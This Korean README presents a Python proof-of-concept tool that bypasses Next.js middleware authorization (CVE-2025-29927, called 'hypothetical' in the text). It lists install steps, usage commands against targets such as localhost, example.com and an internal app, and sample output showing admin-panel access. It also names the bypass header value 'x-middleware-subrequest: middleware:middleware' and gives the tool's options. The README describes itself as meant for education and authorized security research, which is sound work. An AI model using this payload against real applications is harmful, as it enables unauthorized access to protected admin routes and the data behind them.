
> 🔓 가상의 Next.js 미들웨어 우회(CVE-2025-29927)를 위한 개념 증명 — 보호된 라우트를 테스트하기 위한 하위 요청 제작
이것은 가상의 Next.js 미들웨어 우회 취약점(CVE-2025-29927)에 대한 개념 증명입니다. 교육 및 승인된 보안 연구 목적으로만 사용하세요.
| 기능 | 설명 |
|---|---|
| ✨ 색상 및 상세 | 색상 코드 출력; -v로 상세 디버그 로그. |
| 📦 OOP 구조 | 명확성과 유지보수성을 위한 클래스 기반 설계. |
| 🌐 프록시 지원 | --proxy를 통해 HTTP(S) 프록시로 트래픽 라우팅. |
| 🍪 세션 처리 | 쿠키 및 연결 재사용을 위한 지속적 requests.Session. |
| 🚦 리디렉션 제어 | 기본적으로 리디렉션 미추종; 통과/실패 명확히 감지. |
| 🛠 사용자 헤더 | User-Agent, x-middleware-subrequest 재정의 또는 헤더 추가. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
필요 사항 Python 3.7+
python poc.py [options] <host>[:port]
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
성공
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
실패
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)
| 옵션 | 설명 |
|---|
-p, --path PATH | 보호된 라우트 경로 (기본값: /admin) |
-s, --scheme {http,https} | 프로토콜 (기본값: http) |
--header HEADER | x-middleware-subrequest 헤더 값 (기본값: middleware:middleware) |
-ua, --user-agent AGENT | 사용자 정의 User-Agent (기본값: Mozilla/5.0) |
--proxy PROXY | HTTP(S) 프록시 URL (예: http://127.0.0.1:8080) |
-v, --verbose | 디버그 출력 활성화 |
-h, --help | 이 도움말 메시지 표시 |